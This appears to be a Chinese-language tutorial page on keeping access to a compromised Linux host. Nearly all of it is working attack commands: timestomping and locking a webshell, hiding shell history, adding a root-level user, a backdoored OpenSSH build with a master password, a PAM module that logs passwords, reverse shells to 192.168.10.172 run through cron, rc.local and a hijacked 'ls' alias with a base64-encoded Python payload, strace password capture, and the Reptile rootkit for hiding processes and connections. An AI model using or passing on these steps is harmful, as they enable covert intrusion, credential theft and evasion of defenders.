Linux权限维持

权限维持

linux权限维持

木马修改时间

touch -r 目标文件 木马文件

将木马的时间修改成与另一个文件的时间相同 这样可能让受害者排查木马时忽略木马

image-20240909110308456

touch -r ex10 shell.php

image-20240909110417746

文件锁定

为了防止用户误删除的操作

chattr +i 锁定

chattr -i 解锁

lsattr shell.php 看锁定状态

image-20240909110841089

历史记录隐藏

我们再linnux中执行的所有命令都会被记录下来

history

image-20240909124838398

所以我们需要清除我们的攻击记录

隐藏接下来的命令记录

空格 set +o history

恢复

空格 set -o history

image-20240909125129225

image-20240909125147820

但是

空格 set +o history

仍被记录

所以

history -d 行号

history -d 104

image-20240909125707199

image-20240909125812282

已隐藏

隐藏文件

我们可以用touch创建隐藏文件

touch .文件名 创建隐藏文件

ls -al 查看隐藏文件

添加用户

#添加账号test,设置uid为0,密码为123456

useradd -p openssl passwd -1 -salt 'salt' 123456 test -o -u 0 -g root -G root -s /bin/bash -d /home/test1

当然我们也可以手动写入密码文件

  1. 首先,使用perl语言(Linux自带)生成带有盐值的密码:

perl -le 'print crypt("123456","addedsalt")'

把生成的密码(这里是adrla7IBSfTZQ)写入

  1. 添加test2账号,密码设置为123456

echo "test2:adrla7IBSfTZQ:0:0:root:/root:/bin/bash" >>/etc/passwd

SUID shell

cp /bin/bash /tmp/shell #将交互式shell移动到tmp目录

chmod +s /tmp/shell #赋权

exit #退出当前用户

/tmp/shell -p #普通用户执行

whoami #查看权限

image-20240909195142711

这样相当于我们在目标主机下留下了一个后门

Openssh后门

相关文章

我们把目标主机内置的ssh软件重新安装并自定义 在自定义的过程中给他一个万能密码

ssh -V 查看版本号

image-20240909195637552

安装依赖

yum -y install openssl openssl-devel pam-devel zlib zlib-devel

yum -y install gcc gcc-c++ make

wget下载安装包

wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz

wget https://mirror.aarnet.edu.au/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz

tar -xzvf 解压然后拷贝

cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1

cd openssh-5.9p1 && patch < sshbd5.9p1.diff

改版本

vi version.h

image-20240909200756423

把这个版本改了

改成之前查到的版本信息 防止受害者发现openssh被换

image-20240909200849163

改密码

vi includes.h

image-20240909201046800

改这些

#define ILOG “/tmp/ilog” 记录了谁登录了我
#define OLOG “/tmp/olog” 记录了我登录了谁
#define SECRETPW “apaajaboleh” 万能密码

image-20240909201149944

我们把这个万能密码改了

安装编译

./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 && make && make install

编译完了就已经替换成功了

重启ssh

service sshd restart

重启ssh服务报错解决方案

  • 方法1:接着做如下操作
    chmod 600 /etc/ssh/ssh_host_rsa_key

    chmod 600 /etc/ssh/ssh_host_ecdsa_key

    service sshd start

  • 方法2:或者尝试操作如下

    chown -R root.root /var/empty/sshd

    chmod 744 /var/empty/sshd

    service sshd restart

安装成功后 我们上传的gz文件和解压后的文件删去后不影响

netstat -antp 可以看到连接的情况

SSH-PAM后门

刚刚我们换的是ssh版本 现在我们来换PAM

PAM是一个认证模块 用来登录验证等

rpm -qa | grep pam 查询版本

wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz 下载(受害者版本是什么我们就下什么)

tar -zxvf Linux-PAM-1.1.8 解压

yum install gcc flex flex-devel -y 安装编译环境

找到报错密码的文件

cd Linux-PAM-1.1.8-master/modules/pam_unix/vi pam_unix_auth.c

image-20240909205902394

找到关键信息

image-20240909210030311

换成这样

image-20240909210146600

/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(strcmp("hackers",p)==0){return PAM_SUCCESS;} //后门密码
if(retval == PAM_SUCCESS){
FILE * fp;
fp = fopen("/tmp/.sshlog", "a");//SSH登录用户密码保存位置
fprintf(fp, "%s : %s\n", name, p);
fclose(fp);}
name = p = NULL;
AUTH_RETURN;

密码就是你的密码 这个密码就是hackers

最好在本地换 不然编译可能会出问题

先rm 把他本地的pam_unix_auth.c文件删了再上传

到安装目录下编译安装

./configure && make

备份替换

备份原有pam_unix.so,防止出现错误登录不上

复制新PAM模块到/lib64/security/目录下

cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp

cd Linux-PAM-1.1.8/modules/pam_unix/.libs

cp pam_unix.so /usr/lib64/security/pam_unix.so

然后我们就可以用PAM的密码进行SSH登录

ssh公私钥免密登录

ssh登录都要改ssh配置才行

vim /etc/ssh/sshd_config

image-20240909212043323

把ssh生成的公钥放到目标服务器上 下次登录时会进行公私钥的匹配 匹配成功就不需要输密码

因为时攻击者kali连接Linux

kali是客户端

kali生成公钥

ssh-keygen -t rsa

image-20240909212332683

到这个/root/.ssh/id_rsa下去找(红日打过)

image-20240909212445836

将内容放到受害者主机的相同路径

/root/.ssh/authorized_keys

没有.ssh文件夹的话就本地登录一下

image-20240909212755672

创建authorized_keys文件

kali直接可以ssh免密登录

image-20240909212902504

软连接

通俗的理解:类似Windows的快捷方式

先看看开没开PAM

cat /etc/ssh/sshd_config|grep UsePAM

创建后门

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888

kali ssh登录 端口就是8888

但是

  • 仍需要密码

  • 重启服务器就会失效

  • 端口占用情况

  • 容易被外联发现

SSH wrapper

原理:

首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell
简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。

cd /usr/sbin/ 到存放系统管理工具的地方

mv sshd ../bin/ 将sshd文件移动到/usr/bin/目录

echo '#!/usr/bin/perl' >sshd 创建一个新的sshd文件,并将其设置为Perl脚本

echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd 向sshd文件中添加一行代码,当接收到以4A开头的以太网帧时,执行/bin/sh

echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd 向sshd文件中添加一行代码,以便在其他情况下正常执行原始的/usr/bin/sshd程序。

chmod u+x sshd 给sshd赋权

service sshd restart 重启SSH服务

kali登录

socat STDIO TCP4:192.168.10.195:22,sourceport=13377

image-20240909214616175

计划任务

计划任务反弹shell

1.sh

#!/bin/bash
bash -i >& /dev/tcp/192.168.10.172/5555 0>&1

赋权

chmod +sx 1.sh

添加计划任务

vi /etc/cromtab

image-20240909215119359

监听上线

image-20240909215441416

开机启动

调用启动项路径

启动项路径

vi /etc/rc.d/rc.local

image-20240909215925179

把反弹shell的文件路径放进去

赋权

chmod +x /etc/rc.d/rc.local

重启上线

image-20240909220317890

strace后门

strace是一个动态跟踪工具 它可以跟踪系统的调用执行 类似于键盘记录的功能

我们通过这个后门来记录ssh登录时的密码

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)
跟踪 sshd 进程的系统调用,特别是 read 和 write 系统调用,并将输出重定向到一个日志文件中


grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log
使用 grep 来搜索 /tmp/.sshd.log 文件中的特定模式

image-20240910173617173

finalshell重新连接一下centos

image-20240910173717309

再输入grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log

有记录了

找到账号密码

image-20240910173820534

Alias后门

Alias:为命令设置一个别名

alias ls=‘ls -al’ 将ls命名成ls -al

image-20240910174256578

这样我们就可以把别名改成运行木马或者反弹shell

unalias ls 删除ls的别名

alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/192.168.10.172/3333 0>&1; };alerts'

将ls的别名改成反弹shell

image-20240910174635278

ls能正常运行

kali监听

image-20240910174713352

但是centos命令卡死

解决

python反弹shell

alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xMC4xNzIiLCAzMzMzKSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDApCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAxKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMikKICAgICAgICBwID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsICItaSJdKQogICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgIGV4aXQoKQ=='\'')))";};alerts'

但是要base64编码

image-20240910175257863

目标要用python环境

image-20240910175452435

正常执行且可以执行命令

kali也监听成功

image-20240910175652239

内核加载LKM-rootkit后门

相较于其他的维权方式 会有外联有进程等

但rootkit可以隐藏外联和进程

项目地址

使用参考

环境搭建

先把项目zip放到目标主机

1.sh

$kernel=`uname -r`
# centos
yum -y install perl vim gcc make g++ unzip
# 由于Cenots内核管理不便,所以使用下载对应版本的kernel-devel到本地
yum -y localinstall kernel-devel-"$kernal".rpm
cd Reptile-2.0/ && chmod +x ./setup.sh
./setup.sh install <<EOF
reptile
hax0r #TOKEN
s3cr3t
reptile
666
y
192.168.10.172 #ip
4444 #端口
1 #连接延迟
EOF

给1.sh赋权

执行

./1.sh

image-20240910180900059

环境配置成功

进程隐藏

众所周知

ps可以看到进程

image-20240910181059023

我们用这个来隐藏进程

/reptile/reptile_cmd hide 33363 //33363为进程id号

把hide改成show就回复显示了

image-20240910181430676

连接隐藏

netstat -antp

可以看到外联情况

image-20240910181635268

我们隐藏一下反弹shell的连接

/reptile/reptile_cmd tcp 192.168.10.172 8899 hide

image-20240910182145870

这里的tcp就是查出来的第一个数据

还可能时tcp6等 根据实际情况改

同样把hide改成show就回复了

文件隐藏

mkdir reptile_文件名

这样创建的隐藏文件是不会被ls -al查出来的

image-20240910182540000

看不到 但是可以进去

客户端通信

前面的利用都是在目标主机上进行的

我们也可以在我们本地搭建客户端进行连接

kali安装

apt install libreadline-dev

cd Reptile-2.0

./setup.sh client

image-20240910183115979

可以看到客户端装在了这个文件夹下的bin下

image-20240910183214272

./client

进入客户端

image-20240910183252657

image-20240910183329815

配置一下

image-20240910183401233

和msf很像

这里的rport是伪装端口

我们要用受害者主机中已开放的端口

image-20240910183904299

照着那个1.sh的配

run

image-20240910183935510

成功

image-20240910184030034